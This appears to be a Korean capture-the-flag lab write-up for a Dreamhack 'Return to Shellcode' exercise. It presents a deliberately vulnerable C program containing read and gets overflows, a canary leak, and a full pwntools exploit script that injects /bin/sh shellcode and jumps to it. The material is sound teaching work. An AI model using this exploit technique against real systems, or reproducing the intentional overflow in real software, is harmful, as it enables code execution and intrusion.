// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
보호 기법 탐지
$ checksec r2s
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Shellcode/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
checksec 명령어를 입력하면 바이너리 적용된 보호 기법을 확인할 수 있습니다.
취약점 탐색
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
buf의 주소와 buf~rbp까지의 거리를 출력해주고 있습니다.
char buf[0x50];
read(0, buf, 0x100);
gets(buf);
read와 gets 함수에 의해 두번의 버퍼 오버플로우가 발생합니다.
익스플로잇 시나리오
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
첫번째 입력값으로 카나리를 구합니다.
그런 다음 두 번째 입력값으로 반환 주소를 덮어야 하는데, 이번 문제 코드에는 get_shell() 같은 함수가 없습니다.
그래서 buf의 주소를 알고 있기 때문에, buf에 쉘 코드를 넣고 반환 주소에 buf의 주소를 넣어서 익스플로잇을 하겠습니다.
스택 프레임 정보 수집
from pwn import *
def slog(n, m): # buf <=> sfp, buf2sfp가 인자로 호출되면
return success(": ".join([n, hex(m)])) # [+] buf <=> sfp: 0x39 형식으로 출력
p = process("./r2s")
context.arch = "amd64"
p.recvuntil("buf: ") # buf: 까지 데이터를 받음
buf = int(p.recvline()[:-1], 16) # 개행 문자를 뺀 한 라인을 16진수 정수 형태로 받아서 대입
slog("Address of buf", buf) # [+] Address of buf: 0x7ffc908a4410
p.recvuntil("$rbp: ") # $rbp 까지 데이터를 받음
buf2sfp = int(p.recvline().split()[0]) # 개행 문자를 뺀 한라인을 정수 형태로 받아서 저장
buf2cnry = buf2sfp - 8 # buf~canary 거리 = buf~sfp 거리 - 8
slog("buf <=> sfp", buf2sfp) # [+] buf <=> sfp: 0x39
slog("buf <=> canary", buf2cnry) # [+] buf <=> canary: 0x31
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
카나리 릭
read(0, buf, 0x100); // buf에 0x100 만큼 입력을 받음
printf("Your input is '%s'\n", buf); // buf를 출력
문자열은 NULL을 통해 끝을 구분하기 때문에, read 함수로 입력을 할 때 Canary 앞의 NULL 값을 다른 값으로 덮어버리면 buf에 이어서 Canary도 출력되게 됩니다.
payload = b'A'*(buf2cnry + 1) # 'A' * (buf~canry 거리 + 1) 대입
p.sendafter("Input: " ,payload) # "Input: "이 출력되면 payload 전송
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7)) # leak 된 카나리 값을 대입
slog("Canary", cnry) # [+] Canary: 0x40e736d41cd76400
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400
익스플로잇
Buf ← ShellCode
Canary ← 구한 카나리 값
SFP ← B * 8
RET ← Buf의 주소
sh = asm(shellcraft.sh()) # '/bin/sh' 쉘 코드를 제작해서 대입
payload = sh.ljust(buf2cnry, b"A") # buf2cnry 크기에 맞춰서 쉘 코드 + "AAA...." 대입
payload += p64(cnry) # 구한 카나리 값 대입
payload += b"B" * 8 # 'B' * 8 대입
payload += p64(buf) #buf의 주소 대입
p.sendlineafter("Input: ", payload) # "Input: "이 출력되면 payload 전송
p.interactive()
[+] Starting local process './r2s': pid 347
[+] Address of buf: 0x7fffef0152b0
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x7a2fb272dbcada00
[*] Switching to interactive mode
$
전체 익스플로잇
from pwn import *
def slog(n, m):
return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get inforamtion about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1)
p.sendafter("Input: " ,payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Canary", cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A")
payload += p64(cnry)
payload += b"B" * 8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()